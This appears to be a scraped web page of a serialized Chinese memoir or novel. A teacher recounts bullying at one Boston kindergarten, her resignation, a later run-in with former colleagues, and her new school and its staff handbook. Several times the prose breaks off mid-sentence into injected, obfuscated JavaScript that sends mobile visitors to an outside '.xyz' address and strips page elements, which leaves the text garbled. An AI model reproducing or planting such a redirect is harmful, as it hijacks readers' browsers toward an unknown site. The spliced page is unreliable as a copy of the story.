那天我正忙着给所有的孩子分饼干,凯奇说话声音很小,再加上英语不是我的母语,所以一时没有反应过来,没想到这一幕全被林奈和尅拉看在眼里,我想任何一个正常、善良的一起共事的老师如果看到当时那种情形,第一反应都应该是出言提醒吧,而不是像她们这样冷眼旁观,然后默默记下作为日后攻击我的武器,实在令人感到彻骨的寒意。 “你有给他提供含奶制品的食物吗?”沙文问。 我只得承认:“我对美国食品不熟悉。” 沙文似乎满意了,一面在笔记本上记录着一面说:“你说你对美国食品不熟悉,作为老师你必须熟知各种给孩子的零食——你知道吗?错误的食物可能会导致孩子被送进医院,这是非常严重的事情。” 我感觉好像在被审讯。 林奈和尅拉继续对我进行轮番轰炸,我此刻仿佛灵魂出体,已经不在乎她们究竟在说什么了,玛丽安倒算口下留情,没再开口,我明白当所有人都沉浸在霸凌的狂欢中不能自拔时,能不跟着踩上一脚是多么难得,于是因为玛丽安今天没有落井下石而在心里原谅了她曾经的所作所为,觉得她还不至于无可救药。 我闭上嘴不再多言——今天这个会分明就是针对我的批斗大会,几个灵魂扭曲的人合起伙来对我进行精神虐待和迫害,颠倒黑白罗织罪名无所不用其极,而我能用来回应自辩的却只有磕磕巴巴非我母语的英语,那感觉仿佛捆住手脚被人围殴,简直遭透了——讽刺啊!我居然在二十一世纪的美利坚合众国真真切切体会到了传说中历史上被批斗的滋味,也再一次见识到人性之恶的新高度,看来人心里的恶并不拘于什么地方什么时代。 沙文居然还在逼问我:“你还有没有更多要说的?如果不说我没办法帮你,我们需要你。” 我打定主意不再开口,心里想:她倒底想要我说什么?我还能说什么呢?无论说什么都无非被当成靶子一条条驳斥歪曲,她是虐待狂吗? 几乎已经达到了忍耐的极限,真想立刻跳起来大喊“我不干了!”用眼睛搜寻着屋内,找到窗户上的几根栏杆默数着,暗想如果是单数就当场辞职,如果是双数就忍耐,结果是双数;又找到气窗上的栏杆再数,也是双数——好吧,今天先忍一口气。 沙文还在问:“你没什么要说的吗?” “没有。”我垂着眼睛抵触而坚决地小声说。 沙文顿了顿,然后很不悦又似乎有些无奈地宣布:“好吧,今天的会议结束。” 我立刻站起身头也不回地走出了房间。 回到教室拿起包对正在我们班帮忙代班的玛莎说:“玛莎,我现在要走了,晚上给你电话。” 到办公室找到邦狄用颤抖的声音对她说:“邦狄,我觉得很不舒服,现在必须得离开。” 邦狄审视地看了看我,点点头说:“好吧。” 逃也似地离开了那个鬼地方,打开手机发现南希给我来过电话,回到车里稍稍平复了一下情绪,然后打起精神用热情的语气给南希回电话,她愉快地告诉我:“我们打算给你那份工作!”并和我商定两周后开始上班。 放下电话并无太多惊喜,因为受到的精神和心理创伤实在太深了,即便暂时没有南希这份工作我也不会再回去了,和这里的一切,结束了! 57. 第二十四章 离开 临走之前我想和玛莎好好聊一聊,把过去这几个月受到的不公都告诉她,这样离开后至少这个地方还有人知道在我身上曾经发生过什么。想想以后可能再也不会见到玛莎了,最后一次谈话我希望能够和她面对面而不是在电话里,现在是下午两点二十分,我不确定她今天是三点还是三点半下班,不过反正我现在有的是时间,于是决定去幼儿园门口等她。 把车开到教堂对面等了一个多小时,这期间陆续看见一些家长来接孩子,快三点半玛丽安和小班一位老师一起从幼儿园出来,然后坐上那个老师的车走了,这些人私下的关系平时还真是看不出来。 三点半过几分钟玛莎出现了,我连忙下车过马路叫住她:“玛莎,我一直在等你,我要离开这里了,想在临走之前和你聊聊。” “发生了什么?” 玛莎惊讶地问,又指一指马路对面,“走,我们找个地方坐下来慢慢说。” 我们来到马路对面一栋建筑后面的一张长椅上坐下,然后我将这几个月以来所经受的种种畅快淋漓地一股脑向玛莎倾诉出来,她耐心和善充满同情地整整听我讲了两个小时,我很感激,因为这正是我现在最需要的,在这种时候任何出谋划策、同仇敌忾、批评建议都无法减轻我的痛苦,只有耐心善意的倾听才是对我来说最好的良药。 当终于说完我才渐渐感受到自由的来临,对玛莎说:“我只是希望在这里至少有一个人能够知道在我身上究竟发生过什么,许多时候当我忍受不下去或不知道该怎么办的时候就会想,如果遇到这种情况玛莎会怎么做?” 玛莎温和地笑笑,对我说:“我会做你的推荐人。” 和玛莎相拥告别,上了车没有调头而是一直朝前开,绕远路走了完全不同的一条路回家,如今这所幼儿园于我已经成了一场噩梦,连教堂那黑漆漆的建筑和拱门在我眼里都像是一只张着大口的怪兽,仿佛随时会将人吞噬,即便从门前经过也会令我感到心惊胆战,难以面对。 迫切地想要结束这场噩梦,回家后从网上抄了一封公式化的辞职信告知沙文我找到了新工作,然后鼓足勇气按下发送键,没想到邮件却因为对方邮箱已满被弹回来,我又想把邮件转发给邦狄,却鬼使神差地怎么也找不到印有幼儿园教职工联系方式的那张纸。 我不禁开始疑虑,难道今天不该发这封辞职信?翻出员工手册仔细查看,发现上面规定员工辞职须提前两周通知学校并进行一次离职问答,真没想到这么一个不正规的弹丸之地却有这许多名堂,把人限制得死死的,还好刚才没能成功发出辞职信,否则不知道又会被沙文抓住什么把柄大做文章。 上网查询在何种情况下可以立即辞职,找到一条“因为工作压力影响精神健康”倒是符合我目前的状况,于是以此为理由修改了辞职信,但是在现代社会我们的精神是否健康早已不由自己说了算,而是医生说了才算,美国医生对此会如何测评我完全不了解,如果沙文较起真来还真是件麻烦事。 又继续搜索员工辞职是否一定要参加离职问答——现在沙文已经成了我的心理阴影,我实在不想再见到她。看了网上的各种信息,有说离职问答并非法律要求,但最好能参加就参加,否则可能会影响到临走时的工资和福利,对此我倒是根本不在意;但又有专业人士建议离职问答尽量能避则避,因为问答的主要目的其实是为了让员工签署表示对公司满意的文件,好让公司免责,而在此过程中员工所说的任何对公司不利的话将来都可能会反作用于员工本人,更糟的是,如果员工手册里有离职问答的要求,员工就必须参加——唉,看来离职问答就是一个坑啊,真没想到,我现在什么都不求,只求立刻离开那个鬼地方都没那么容易。 最终我决定先拖一拖,熬到第二天早上给邦狄打电话说病得很厉害,星期五不能去上班,星期一要去看医生,邦狄倒没多问,对我说话的语气也比上次请病假时和缓了许多。 傍晚玛莎突然给我打来电话:“彦岚,有件事我要告诉你一声,昨天我们道别的时候被人看见并报告给了沙文,今天沙文把我叫去办公室,问我昨天下午五点半是否和你在一起,因为你两点就离开了。” 我大吃一惊:“啊?那沙文有没有对你做什么?” 玛莎语气轻松:“我对她说‘无可奉告’,她见我不说话也无可奈何,只好让我走了。” 我歉疚地说:“真是抱歉,连累你了。” 玛莎连忙安慰我:“噢,没关系,我只是觉得这件事应该让你知道,你好心里有个数。” 挂上电话我感到一阵反胃,又觉得荒谬,还混合着尚未摆脱沙文掌控的恐惧——这些人是疯了吗?她们以为自己是谁?有什么权力在背后监控我?我感觉自己仿佛身处谍战剧中,周围布满了密探监视着我的一举一动,随时准备向上面告密。 玛莎回答沙文的那句“无可奉告”倒是给了我一个启发,在美国无论别人怎么威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下午战战兢兢地把辞职信发出去,同时抄送给邦狄,一个小时后收到沙文的回复,只有两句话:“我接受你的辞职,希望你尽快觉得好些。”几天后又收到一封从幼儿园寄来的信,里面是一张支票以及一份清单,上面十分详尽地列明了欠我的工资和未休假期的补偿。 没想到事情如此顺利就了结了,既没被刁难,也不用再去学校接受离职问答,我想老公的分析说到了点子上:沙文其实也不想见到我,以她多疑的性格,听说我去找玛莎,不知道我打算干什么,又听说我要去看医生,害怕我找医生开证明告她,于是只想赶紧把我这尊神送走了事——原来当预定应该离开的时间到来,一切仿佛都被安排好了似的,所有障碍也都自动挪开了。 58. 第二十五章 再见已是路人 到新幼儿园工作一年后,我参加了一场有关校园霸凌主题的培训讲座,目睹一位面容姣好、气质娴雅的年轻女士含泪讲述在当学生时曾经遭受的霸凌给自己带来的痛苦,并询问主讲人遇到当时那种情况该怎么办。 我在台下看着那位提问的女士,记忆的闸门跟着打开,忍不住也湿了眼眶。我学生时代一直上的是校风优良的学校,周围的同学都很单纯,互相比的是认真学习,从不知霸凌为何物,没想到多年后在一间美国的幼儿园里却狠狠遭受了一场职场霸凌,若非亲身经历,看他人被霸凌便如隔靴搔痒,只有自己经历过才会有感同身受的切肤之痛,明白那种孤独、无助和痛苦是多么摧毁一个人,并将可能影响和伴随受害者多年。 主讲人只给了一些泛泛的建议,比如向父母、老师、同学等周围的人求助,或是拨打相关组织的电话寻求帮助。然而社会和人心远比我们看到的要复杂,我当初就曾向学校的领导沙文和邦狄求助,没想到却招来更加升级的霸凌,而如果那时候我向校董事会这个组织求助,想来也不会有谁愿意站出来惹不必要的麻烦,说不定还会令矛盾不断升级直至不可收拾,最可怕的是,当你向没有过你的经历无法与你共情的人求助的时候,可能还会招来他人甚至自己亲人的不理解,质疑是你的问题,那对于受害者来说将会是雪上加霜毁灭性的打击。 所以以我一个幸存者的一点浅见,在遭遇霸凌时除了通常的专家建议之外,或可寻求有过同样经历的人或组织抱团取暖,或可通过相关的影视、音乐、文学作品释放情绪,最重要的是,如果可能的话一定要设法尽快离开有毒的封闭环境,只有到了外面的广阔天地才会发现,原来那些欺辱你的人不仅不代表全世界,甚至什么都不是。 两年后,我参加了另一场提供自助式午餐的培训,仿佛冥冥中的安排,命运中曾经遭遇的人再次相遇,我去人头攒动的会场后面餐台拿食物时居然和邦狄擦肩而过,她的背有些驼,身体状况似乎不是很好,完全没看见我,我本想和她打个招呼,却怎么也想不起来她的名字。 接着发现前幼儿园的几乎全体教职工在讲堂中后部的位置整整齐齐坐了两桌,此时当年的恐惧早已消退,再看那些人也不过是平常人,在外面的公共场合更是老老实实甚至有些拘谨,便如与堂吉诃德大战的妖怪又变回了风车。 我立刻微笑着上前向玛莎问候,一面拥抱她一面感激地说:“谢谢你曾经帮助了我!” 玛莎突然见到我也很高兴,热情地问我现在的工作怎么样,又指着坐在她旁边的一位老实巴交的华人中年女性对我说她现在就在我以前的班级工作,想来是沙文又招聘来代替我的位置给学校镶边以体现种族多样性的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437822|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我向那个女人笑笑,她也对我报以微笑,旁边的霍莉却向我投来一个冷冷的眼神,一抬眼看见和沙文一起坐在隔壁桌的尅拉不仅眼尖地发现了我,还狠狠地冲我翻了个白眼——没想到已经过去两年了这两个人还活在憎恨里,不过她们已经再也伤不到我分毫,因为我现在根本一点儿也不在乎她们。 再看林奈在隔壁桌一副人畜无害的样子,满桌唯独少了玛丽安,我于是问玛莎:“玛丽安呢?” “噢,玛丽安拿食物去了,” 玛莎告诉我,“她现在去了中班,尅拉和林奈都还在原来的大班。” 我心想:我走以后尅拉果然联合林奈又斗走了玛丽安,看来在污浊的环境里永远是逆向淘汰,稍微没有坏到底的都被排挤走了,越坏的人地位反而越稳固。 玛莎笑着对我说:“我很高兴你找到了新的工作。” “不仅是新的工作,还有新的生活,我从一切当中学到了很多,我会永远把你放在心里。” 我回答,又和玛莎再次贴面拥抱,她则开心得几乎合不拢嘴。 我很感激上天给我一次这样的机会,让我能再次看到从前遇到过的这群人,这才发现夜晚的妖魔鬼怪原来只是白天草丛里的几块石头——天终于亮了。 我回到第一排正中间那桌笑着与南希和其他几位老师继续聊天,轻舟已过万重山。(本卷完) 59. 第一章 新幼儿园 新上班的幼儿园位于一片清幽的中产社区内,四周绿植环抱,三层高的红砖教学楼前面有一片小操场,一半铺着碎木屑,散布着一些滑梯、单双杠、攀爬轮胎之类的儿童设施,另一半则是适合孩子奔跑的水泥地面。教学楼的入口旁边有一个用木板围起来的小花坛,种植着花丛和灌木,正中间还有一棵苹果树,春天会开满白色的小花。 从入口处的玻璃双开门进去是一条长长的走廊,墙上贴着所有教职员工的照片和告示板,走廊这一端是小班教室和两间十分宽敞的儿童专用厕所,另一端是中班教室和由一小截走廊改建成的行政办公室。 从楼梯上去二楼也是一条长长的走廊,这一端是员工休息室、男校长韦尔和行政主管朱丽安的办公室以及一小间供教职工使用的单人厕所,另一端则是大班教室和由一截走廊改建成的南希的办公室。 员工休息室就是南希上次面试我的地方,里面摆放着一圈有些老旧但十分舒适的布沙发,墙角立着一个衣帽架,靠墙的小柜上放着一台咖啡机、各种咖啡包、茶包、一次性纸杯和一些干净的茶杯,旁边还有一台饮水机,休息室里面另有一小间厕所,总是打扫得很干净,还贴心地准备着女性卫生用品和止痛片。 教学楼依坡而建,没有三楼却有负一楼,从进门处的楼梯下去就能到达,这一层包含了学前班的教室、厕所和一间很大的储物间,里面存放着各种儿童玩具以及纸巾、纸杯盘、清洁用品等常用物资,各班如果有需要都可以直接来拿取,每个星期也会例行来这里更换教室里的玩具。 学前班的教室虽然在负一楼却一点也不憋闷,有一整面墙的窗户对着坡后一片广阔的泥土地的大操场,还有一扇后门直通那里,大操场上分布着滑梯、旋转椅、儿童木屋、攀爬轮胎、树桩等各种儿童娱乐设施和三个沙池,是孩子们室外活动的主要场所,平时一、二楼的老师会领着孩子们从教学楼外面一段斜坡上的阶梯走下去抵达大操场,冬季天冷路滑则会借道学前班教室,少数孩子在室外活动时如果急需上厕所也会借用学前班的厕所,学前班的老师总是会热情友善地打招呼表示欢迎。 新幼儿园有一男一女两位校长,这在女性主宰的幼教领域十分罕见,面试我的女校长南希是副校长,主管教学,男校长韦尔是正校长,主管行政。韦尔五十多岁年纪,下巴上蓄着整齐的花白山羊胡须,总是身穿熨烫笔挺的衬衫,为人亲和又高效,是那种典型的欧美老牌绅士,他领导下的行政团队是我见过最好的行政团队,团队里的所有人总是和颜悦色地默默在背后为孩子、老师和家长服务,韦尔本人甚至时常和勤杂工不分彼此地在一起干活,以至于许多人不知道韦尔其实才是学校的正校长,而在我心目中这才是真正的领袖,因为只有真正的强者才甘心处于低位去托举他人。 学校除了韦尔还有一名白人男教师、一名亚裔男教师和两名黑人男杂工兼课后活动辅导员,如此高的男性比例在所有幼儿园中也属罕见,种族多样性自不必说,幼儿园还有好几位像我这样硕士学历但原专业非幼儿教育专业的老师,可见管理者十分明白幼儿在成长过程中从不同性别、种族、文化、教育背景的教师身上能够获得的示范作用和汲取的益处。 波士顿的许多高中要求学生在毕业前完成若干小时社区服务,幼儿园就雇用了附近高中的一些学生做教室助理,每天放学后来幼儿园工作几个小时,专门负责擦桌椅、扫地、洗碗、做清洁之类的杂活,为教师减轻了不少负担从而能够全身心地投入到照顾孩子的工作中去,更重要的是这样一来消除了大部分教师之间因为干杂活互相推诿严重内耗的隐患;从高中学生的角度来看,既完成了学校的要求,又能挣一些零花钱,还可以近距离观察一个行业并与可爱的小孩子有一些互动;从幼儿的角度则让他们能有机会接触到更多不同性别和年龄层的人,从小生活在一个更加立体多元的社群里,可谓一举三赢。 我一去新幼儿园就发现了一个有趣的现象,所有孩子都直呼老师名字,甚至对两位校长也直呼“韦尔”和“南希”,而不是像大部分美国学校那样敬称教师为“XX女士”或“XX先生”,一开始我听着还不大习惯,但在日常的实践中却渐渐体会到其中的妙处:直呼教师名字的行为在潜移默化中将“人人平等”的观念植根在了孩子心中,孩子在教师面前毫无畏缩和被矮化的心态,不知不觉中将老师当作与自己平等的个体甚至朋友,从而更加自主自信并更容易对教师交付全然的信任和爱,而我也在这个过程中第一次感受到,原来人人平等的世界才是最开心幸福的。 我入职的中班一共有二十五个孩子和四位全职老师,班主任卡伦三十多岁,幼儿教育硕士学历,有十三年教龄,虽然体型肥硕一脸凶相看上去让人有些害怕,但是在幼儿园友善的大环境之下不会太出格,对人对事也算公正。 另外三位老师都是二十多不到三十岁的年轻女士,嘉娜是位一头短卷发的黑人老师,身材圆润、面相和善、内核稳定,和她在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437823|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作令人感到轻松愉悦;杜冰是和卡伦合租房子的室友,一头及腰的长碎卷发,看上去苍白瘦弱,脖子上总是挂着一条六芒星项链,整天板着脸不苟言笑,但工作兢兢业业教学十分专业,我很欣赏她的业务能力;曼达就是与尅拉有五分相像的那位新老师,和杜冰是最要好的朋友,据说她之前在佛罗里达州的迪士尼乐园工作,现在这份工作和波士顿的住处都是杜冰帮她找的。 上班第一天我就闹了一个小小的乌龙,南希在电话里交代我来上班的时候先找曼达聊聊,我不知怎的脑子就搭错了线,以为她是希望我向同为新老师的曼达取经学习一下她的工作方法,于是和其他老师打过招呼就找到曼达傻乎乎地对她说:“南希让我找你聊聊。”曼达似乎心领神会,立刻满脸堆笑地向我介绍了一些她的工作心得。 这时行政办公室经理曼达有些焦急地来到中班教室对我说:“原来你在这里,我一直在等你。”接着交给我一些文件和表格。我这才反应过来南希让我找的是此曼达而非彼曼达,却不好意思对中班老师曼达说“我搞错了,南希让我找的其实不是你”,没想到这却为日后埋下了一些隐患。 办公室经理曼达走后卡伦交给我一张纸,上面清楚详细地写着兼职教师每天的工作职责和一些简单指导,大致包括:孩子午睡时的前半个小时陪伴和帮助有需要的孩子入睡,之后准备下午的一餐零食,照看起床后的孩子上厕所,带领一队孩子去操场活动,写每天下午的活动日志,在其他老师主持集体活动时参与并帮助维持纪律,当主持老师需要短暂离开时接手主持工作,帮助其他老师预备第二天的教室。 那张纸上的最后一句话是:“谢谢,当你需要进一步指导时,你总是可以轻松自如地与任何一位老师沟通。”我很喜欢这张职责清单,这让我目标明确、无需内耗,也感觉受到充分的尊重。 班上除了我是下午一点到六点的固定工作时间,其他老师实行轮流错峰排班制度,每天最晚下班的都是不同的老师,为了便于不同时段上下班老师之间的沟通交流,教室里有一个专门的笔记本,任何需要其他老师知道的事情都可以写在上面。 我很欣赏新幼儿园这种分工明确的班级架构,大家的工作十分平等没有高低贵贱之分,像写日志这种在前幼儿园被抢破头的活,在这里却直接指派给每天下午工作时间固定的兼职老师,所有老师在班主任的带领下各司其职,每日的流程井然有序,既轻松又高效,省去了许多不必要的麻烦和纷争。 60. 第二章 南希的办公室 南希的办公室在二楼走廊尽头,是由原来的一段走廊改造成的,空间十分狭窄,左边靠墙一整排书架上塞满了各种儿童教育类书籍和幼儿读物,右边靠墙放着南希的办公桌和一把转椅,中间就只剩下一条仅容一人通过的细细的走道,靠近门口的一块区域面对面摆着一条窄窄的沙发椅和两把折叠椅,这是南希的会客空间,办公桌的一角永远放着一碗五颜六色的豆形软糖用来招待到访的无论孩子还是大人。 办公室尽头的墙上有一扇窄窄的窗户,窗外有一棵梧桐树,办公室的墙壁简单刷了一层白涂料,装饰着一些南希与家人朋友的照片,其中包括她曾向我提到的年轻时在中国的照片,在这些照片中间用图钉钉着一张白纸,格外引起了我的注意,那上面打印着一首纪伯伦的诗: “《论孩子》 你们的孩子,都不是你们的孩子, 而是“生命”为自己所渴望的儿女。 他们是借你们而来,却不是从你们而来, 你们可以给他们以爱,却不可给他们以思想, 因为他们有自己的思想。 你们可以荫庇他们的身体,却不能荫庇他们的灵魂, 因为他们的灵魂,是住在明日的宅中,那是你们在梦中也无法到访的。 你们可以努力去模仿他们,却不能使他们来像你们, 因为生命是不逆行的,也不与昨日一同停留。 你们是弓,你们的孩子是从弦上发出的生命的箭。 那射者在无穷之中看定了目标,用神力将你们引满,以使祂的箭射得又快又远。 让你们在射者手中的弯曲成为喜乐吧, 因为祂爱那飞出的箭,也爱那稳固的弓。” 南希办公室的门除了开会或有访客,其他时间总是敞开着,老师和家长可以随时来她的书架上借书给孩子或自己看,教室里若有孩子不听话老师无可奈何时,也会把孩子送到南希办公室来待上一会儿,我后来才从其他老师口中得知南希竟然已经八十多岁了,却仿佛有用不完的精力,每天日程安排得满满的。 南希的办公室虽然狭窄老旧,却温暖舒适,每周她都会在办公室里和各班老师进行一次教师会议,探讨在教学过程中遇到的困惑和难题,给出她的解决方法或建议。我很喜欢参加她主持的教师会议,一边拿一颗豆形软糖含在嘴里,一边听着其他老师向她提出哪个孩子的何种行为令她们难以应付或感到不解,偶尔抬眼看看窗外的梧桐树叶在风中轻轻摇动,虽然很少发言,却非常享受倾听和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437824|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习南希分享的宝贵经验。 一次南希在教师会议上说:“有个女孩的妈妈来找我,说她看见自己的女儿做在男老师的大腿上,心里有些顾虑,不知道是否应该为此感到担心,我对这个问题进行了淡化处理,对她说;‘你的女儿坐在那位男教师的大腿上是因为他的大腿很舒服。’” 卡伦接着道:“我听说有的学校为了避免麻烦甚至不允许老师拥抱孩子。” 我忍不住说:“那太悲哀了!” 南希道:“我们学校不会这样,孩子很需要与成年人的亲密接触。” 回想起前幼儿园的沙文一听说街上有人和孩子说了句话就报警的草木皆兵,我觉得南希的处理太有智慧了,这间幼儿园开明的管理者和宽松友好的氛围与前幼儿园相比简直是天壤之别。 儿童教育其实是一门和人打交道的学问,纷繁复杂,学无止境,即便工作了十三年的卡伦也总会有各种问题请教南希,南希的教师会议让我感到在这里教师不会因为遇到难以解决的问题就被扣上不胜任工作的帽子受到批评和惩罚,而是可以安心提出问题,获得支持,不断精进业务能力。在我眼里拥有六十年教学经验的南希简直就是一座宝藏,能有机会和荣幸向她取经,我如饥似渴,求之不得。 61. 第三章 娃娃宝典 入职的第一天我就收到一本员工培训手册,里面详细记录着新幼儿园的前世今生、教学理念、指导方针、工作流程以及遇到各种状况的处理方式,比我以前学过的任何课程都要全面、精简、实用,可以看出凝结了这所幼儿园前人几十年的经验智慧,简直堪称一本幼儿教育宝典,我曾经经历过的许多挣扎和困惑都在这里找到了答案。 据手册记载,幼儿园成立于四十五年前,最初只有九个孩子和两名教师,在当地一所教堂内租赁场地,后来几经辗转直至发展成为今天的规模,如今学校除了幼儿园还包括学前班和课后班项目,南希在这所学校已经有四十年之久,韦尔则是三十年。 学校提倡孩子、教师、家长之间彼此尊重,重视每一个孩子的兴趣和独特性,让他们在友善的氛围中愉快地成长和学习,最终培养有责任感、自信、快乐、健康的孩子。 本章摘抄一些手册里的宝贵经验和金玉良言与读者共享: 教室环境: 教室里的基调是快乐、有趣、活泼、包容的,热情而吵闹、有序但灵活、适当有些杂乱,鼓励孩子多实践但按照自己的节奏发展,每一个人的特点和天赋都被珍视,每一个人都被给予尊重、尊严、善意、幽默感和爱。 教师提供充足但不过量的材料和活动以促进孩子的好奇心、自主性、自信心、自律性、探索欲和学习的热情,并帮助孩子学习如何参与多元的社区和欣赏不同的文化。 集体活动是孩子和老师分享想法、玩得开心、彼此学习的时机,教师不应盖过孩子进行说教,每一个孩子都应该有发言的机会。 当学习技能或参与集体游戏、活动、故事、聚会时,孩子只应保持他们投入和感兴趣的时长,只要不打扰到其他人,孩子可以自由离开进行其他活动。 教师的模范作用: 教师之间彼此尊重和友善的互动为孩子提供了宝贵的社会模范作用,请勿在孩子面前吃喝垃圾食物和软饮料,除午餐和零食时间之外不要在家长面前吃喝,不要在孩子或家长面前嚼口香糖,记得保持职业形象。 孩子的责任: 孩子应该负责自己清理和收拾用过的东西,教师提供指导、帮助和支持。 孩子应参与到计划和准备告示板、教室陈设、烹饪项目以及教室和宠物的清理当中。 教师与孩子的互动原则: 和孩子一起坐在地毯上或桌子旁,对话时跪或蹲到孩子的视线高度。 确保与孩子之间的互动,但是不要打断他们玩耍,给孩子一些可以提升他们的互动或游戏的主意,而不是阻止他们或说负面的话(比如“不要打架”、“不要跑”),参与活动并与孩子交流,但不要掌控和取而代之,只要孩子或他人未处于危险当中,在介入提供帮助之前允许孩子尝试自己解决问题。 当孩子不高兴时避免长篇大论,在解决任何冲突之前有一段冷静期经常是必要的。 所有孩子的作品应被平等地重视、欣赏、对待和展示。 每一个孩子的表现、穿着、外表都应被平等地接受和欣赏。 当两个及以上的孩子涉及冲突,在解决问题时将所有人包含进来,避免让孩子成为牺牲品和替罪羊,永远不要偏袒一方。 当新来的孩子加入幼儿园时,他们需要熟悉教室、被介绍给其他孩子和老师、被演示做什么,也可能需要被搂着和安抚。 纪律: 我们的纪律基于对孩子的尊重,在设立边界时给以爱和正向的强化,控制不意味着惩罚,而是成年人以平和、合理的方式对基于个人需求的个体问题的关注和切合实际的期许。所有孩子都想要和需要坚实、可靠、清晰的边界,孩子和成人在一个被尊重、能自主、安全、舒适的环境中才会自由地成长。 关于“请”: 当孩子提出请求但没有说“请”时,不要要求孩子说“请”,而是一边回应孩子的请求一边向孩子示范正确或礼貌的说法,比如孩子说“帮我系鞋带”,教师一边帮忙一边说“请帮我系鞋带”。 如果你知道孩子可以完成任务,鼓励他们去做并表扬他们的努力。不过即便你知道他们做得到,偶尔帮他们做也是好的。(例如,孩子:“南希,你可以帮我打开保温杯吗?”教师:“当然可以,我知道你自己会开,但有时让人帮忙也很不错不是吗?”) 关于“对不起”: 不要强迫孩子说“对不起”,因为他们只能学到用这个词可以逃避麻烦,而不是产生同理心。向孩子解释他/她的行为会造成的后果,比如“你打玛丽的时候会很伤害她,你看见她有多难过吗?”把施害者带到受害者跟前和你一起确认受害者是否有事或进行照护,你可以示范地对受害者说“玛丽,我很抱歉在你身上发生的事,你还好吗?”但是请勿强迫孩子道歉,因为这只会让施害者感到更加怨恨。如果一个孩子对另一个孩子说“对不起对不起”以逃避批评,你可以说“我不想让你对不起,只想让你别再这么做”,并让孩子知道为什么他/她的行为是不恰当的。 设定限制: 前后一致,确保限制是孩子有能力做到的,确保孩子在行动前知道这些限制。 使用正面的语言,比如“好的做法是......”,“我希望能够....”;使用支持性词语,例如“有帮助的”、“合作的”,不要使用“好”和“坏”这种评判性词语。 当试图引起孩子的注意时,近距离面对孩子叫他/她的名字,当引导或与孩子说话时轻轻触碰他/她,握着孩子的手而非手腕、胳膊或肩膀。 不要取笑孩子或在孩子、其他孩子、其他家长面前讨论他/她或班上的问题。 让孩子遵守纪律时使用温和但坚定的语气,永远不要喊叫。 永远不要使用以下方法: 孩子不应被打屁股或体罚,或处于严酷的惩罚、羞辱、言语虐待和忽视中。 孩子不应被剥夺户外活动或零食作为惩罚,不应被迫或被要求吃喝任何食物或饮料,或用与食物相关的方式进行惩罚或作为后果。 孩子不应因为弄脏衣裤或不上厕所而被惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437825|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚,也不应被拒绝上厕所或被强迫穿着脏衣裤作为惩罚。 孩子不应被长时间地限制在椅子、小床、秋千或任何设施上代替监护。 孩子不应被暂停活动时间太久,暂停活动的分钟数不应超过他们的年龄数。 早上的分离焦虑: 早上的分离对于二到五岁的孩子通常很难,尤其是在学年开头,如果孩子哭泣或让家长留下,教师可以为家长提供帮助,比如教师蹲下和善但坚定地对孩子说:“玛丽,我知道你想让爸爸留下,但他现在需要去工作,不如你最后再拥抱他一下,然后我们一起把他送到门口说再见。” 如果家长走后孩子继续哭泣,搂着他/她,试着将孩子的注意力转移到其他事物或活动上。 午餐: 孩子如果想要的话,可以先吃甜点再吃午饭,以此避免孩子总是询问“我还要再吃几口三明治才能吃饼干?” 如果孩子不想吃,不要催促,食物最不应该成为进行权力斗争的物品,但是要关注孩子的胃口,向家长和其他老师报告任何明显的变化。 孩子吃好饭可以打包,能带回家的剩余食物应该放回午餐包内,好让家长了解孩子吃了多少,其他食物应该丢弃。如果孩子想要的话,午睡后可以在零食桌边拿出打包的剩余食物来吃。 一天的结束: 家长放学前在教室里逗留是可以的,孩子如果想留更长时间需要询问他们的家长,如果家长难以让孩子离开,教师可以询问是否需要提供帮助。 